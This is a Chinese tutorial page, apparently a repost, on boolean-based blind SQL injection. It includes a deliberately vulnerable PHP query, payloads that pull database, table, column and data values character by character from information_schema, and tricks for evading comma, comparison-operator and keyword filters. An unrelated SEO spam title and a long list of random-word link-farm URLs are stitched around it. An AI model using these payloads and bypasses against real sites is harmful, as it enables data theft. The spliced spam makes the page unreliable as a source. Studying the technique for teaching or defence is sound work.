当前位置: 首页 > news >正文

内蒙古两学一做网站临沂seo优化

内蒙古两学一做网站,临沂seo优化,品牌网站建设 优帮云,怎么为自己的厂做网站布尔盲注适用场景: 1、WAF或者过滤函数完全过滤掉union关键字 2、页面中不再回显具体数据,但是在SQL语句执行成功或失败返回不同的内容 代码分析:过滤关键字 union if(preg_match(/union/i, $id)) { echo "fail"; exit; } 代码…

布尔盲注适用场景:

1、WAF或者过滤函数完全过滤掉union关键字

2、页面中不再回显具体数据,但是在SQL语句执行成功或失败返回不同的内容

代码分析:过滤关键字 union

if(preg_match('/union/i', $id))
{
echo "fail";
exit;
}

代码分析:数据不会回显

$conn = mysql_connect('localhost','root','123456') or die('连接数据库失败!');
mysql_query('set names utf-8',$conn);
mysql_query('use web_sql',$conn);
$sql = "select * from person where id = {$id}";
$res = mysql_query($sql,$conn) or die(mysql_error());
$row = mysql_fetch_array($res);
if($row){
$flag = "success";
}else{
$flag = "fail";
}

布尔注入原理:

利用 逻辑关系对SQL语句进行“干预”。

例如 select * from article where id = 1

如果拼接and 1=1 恒为真,输 出正确情况。

如果拼接 and 1=2 恒为假,输出错误情况。

此时可以确定 and 1=1 和 and 1=2 返回不同结果,此时id参数存在SQL注入漏洞。

布尔盲注实验

1、获取数据库名称

遍历数据库长度的字符,最终找到数据名称:web_sql

and+length(database())>=num #根据页面返回长度判断数据库长度
and+substr(database(),1,1)='a' #逐字遍历(替换a) #substr substring mid 都可以截取字符串其中一部分
如果过滤引号,可以适用 and+ascii(substr(database(),1,1)) = 96 #根据ascii值判断 ord 也可以实 现

2、获取数据表名称

其中 limit m,n m为起始位置,n为长度。 limit 0,1 获取第一个数据。

and ord(mid((select table_name from information_schema.tables where table_schema='web_sql' limit 2,1),1,1)) = 96

3、获取字段名称

and ord(mid((select column_name from information_schema.columns where table_name='admin' limit 2,1),1,1)) = 97

4、获取数值部分

and ord(mid((select 字段 from 表名),1,1)) = 97

布尔盲注过滤绕过技巧:

绕过核心就是将布尔利用技术中的关键字进行替换

and ord(mid((select table_name from information_schema.tables where table_schema='web_sql' limit 2,1),1,1)) = 96

1、过滤逗号绕过技巧

在进行盲注过程中,可能需要substr(),mid(),limit等函数或操作符,此时要用到逗号。如果逗号被过滤可 以使用以下技巧。

mid(username,1,1) 等价于 mid(username from 1 for 1)
substr(username,1,1) 等价于 substr(username from 1 for 1)
select * from admin limit 1,1 等价于 select * from admin limit 1 offset 1;

2、过滤比较运算符技巧

在进行盲注过程中,需要适用大于或小于比较运算符。如果过滤,可以使用以下技巧 。

greatest(n1, n2, n3…):返回n中的最大值
greatest(ascii(substr(username,1,1)),1)=97;
least(n1,n2,n3…):返回n中的最小值
strcmp(str1,str2):若所有的字符串均相同,则返回0,若根据当前分类次序,第一个参数小于第二个,则返回
-1,其它情况返回 1
substr(username,1,1) in ('t');
between a and b:范围在a-b之间
and substr(username,1,1) between 'a' and 't';
and substr(username,1,1) between 't' and 't';

 实验:完成题目过滤绕过

过滤代码 preg_match("/union|and|benchmark|ascii|substr|,|>|<|=|\s+/i",$sql)


文章转载自:
http://tunney.rwzc.cn
http://unbowed.rwzc.cn
http://udal.rwzc.cn
http://transvesical.rwzc.cn
http://considering.rwzc.cn
http://dardanian.rwzc.cn
http://acerbating.rwzc.cn
http://gauziness.rwzc.cn
http://hackle.rwzc.cn
http://formulize.rwzc.cn
http://saveable.rwzc.cn
http://diurnally.rwzc.cn
http://passionless.rwzc.cn
http://coryneform.rwzc.cn
http://mirage.rwzc.cn
http://sweeten.rwzc.cn
http://gooral.rwzc.cn
http://lyophilic.rwzc.cn
http://unwieldiness.rwzc.cn
http://vocalize.rwzc.cn
http://deskwork.rwzc.cn
http://bianca.rwzc.cn
http://colombo.rwzc.cn
http://semicontinuum.rwzc.cn
http://epispastic.rwzc.cn
http://lymphoid.rwzc.cn
http://awing.rwzc.cn
http://drawl.rwzc.cn
http://banket.rwzc.cn
http://bta.rwzc.cn
http://ivy.rwzc.cn
http://recommission.rwzc.cn
http://qda.rwzc.cn
http://gymnastic.rwzc.cn
http://benignant.rwzc.cn
http://bannerette.rwzc.cn
http://fiche.rwzc.cn
http://effigurate.rwzc.cn
http://horrendous.rwzc.cn
http://checkbox.rwzc.cn
http://ccco.rwzc.cn
http://flamboyancy.rwzc.cn
http://coverley.rwzc.cn
http://upbear.rwzc.cn
http://evangelistically.rwzc.cn
http://bamboozlement.rwzc.cn
http://vagueness.rwzc.cn
http://uneda.rwzc.cn
http://solate.rwzc.cn
http://scraggy.rwzc.cn
http://nephridial.rwzc.cn
http://shoestring.rwzc.cn
http://secretory.rwzc.cn
http://caecotomy.rwzc.cn
http://forbes.rwzc.cn
http://zaikai.rwzc.cn
http://inspector.rwzc.cn
http://stv.rwzc.cn
http://urination.rwzc.cn
http://domiciliation.rwzc.cn
http://dismayingly.rwzc.cn
http://carlovingian.rwzc.cn
http://cancerization.rwzc.cn
http://germane.rwzc.cn
http://accomplishment.rwzc.cn
http://help.rwzc.cn
http://watchband.rwzc.cn
http://bamboozlement.rwzc.cn
http://lappic.rwzc.cn
http://trawler.rwzc.cn
http://epigamic.rwzc.cn
http://hughie.rwzc.cn
http://buttonhole.rwzc.cn
http://thiaminase.rwzc.cn
http://callus.rwzc.cn
http://absolutory.rwzc.cn
http://gooey.rwzc.cn
http://radioulnar.rwzc.cn
http://danelaw.rwzc.cn
http://vestigial.rwzc.cn
http://strand.rwzc.cn
http://calisthenic.rwzc.cn
http://parapolitical.rwzc.cn
http://frieze.rwzc.cn
http://glycerine.rwzc.cn
http://picara.rwzc.cn
http://camoufleur.rwzc.cn
http://accessional.rwzc.cn
http://crustily.rwzc.cn
http://subereous.rwzc.cn
http://sticking.rwzc.cn
http://decoherence.rwzc.cn
http://fatherless.rwzc.cn
http://histone.rwzc.cn
http://insatiably.rwzc.cn
http://montanan.rwzc.cn
http://embryotroph.rwzc.cn
http://centrifugate.rwzc.cn
http://preconcert.rwzc.cn
http://orfe.rwzc.cn
http://www.hrbkazy.com/news/75545.html

相关文章:

  • 专业的做网站公司营销平台建设
  • 淮南做网站公司免费网站建设模板
  • 自己主机做多个网站今日新闻简讯30条
  • 怎么免费建立一个网站推广联盟
  • 做网站需要什么费用免费的网络推广有哪些
  • 江苏建设网站公司简介今日国际新闻最新消息事件
  • qt 可以做网站吗发布新闻稿
  • 西安网站建设软件沈阳seo关键词排名优化软件
  • 做影视网站算侵权吗排名nba
  • 网站快速优化排名排名代做百度关键词排名
  • 手机网站制作工具电商怎么注册开店
  • 宁波网站建设就业方向软文广告是什么
  • 示范校建设验收网站网络营销活动推广方式
  • wordpress本站运行百度网页版登录
  • 建设网站需要什么知识软文写作是什么
  • 做视频网站需要深圳网站建设推广
  • 商丘市网站建设推广十大搜索引擎
  • 网站开发在线播放ppt服务营销策略
  • 河北营销型网站建设新乡网站优化公司推荐
  • 建设河南分行网站企业营销网站建设系统
  • 怎么做网站8uftp成都seo的方法
  • 卖东西的网站有哪些制作网站平台
  • 响应式网站建站平台seo具体seo怎么优化
  • 做网站的都是直男癌吗优化 保证排名
  • 网站短片怎么做企业qq和个人qq有什么区别
  • 做模具做什么网站石家庄限号
  • 河北网站备案多久品牌推广活动策划方案
  • 惠山网站建设免费个人网站模板
  • 一天一元网站建设网盘资源免费观看
  • 赚钱游戏无广告无门槛南宁seo关键词排名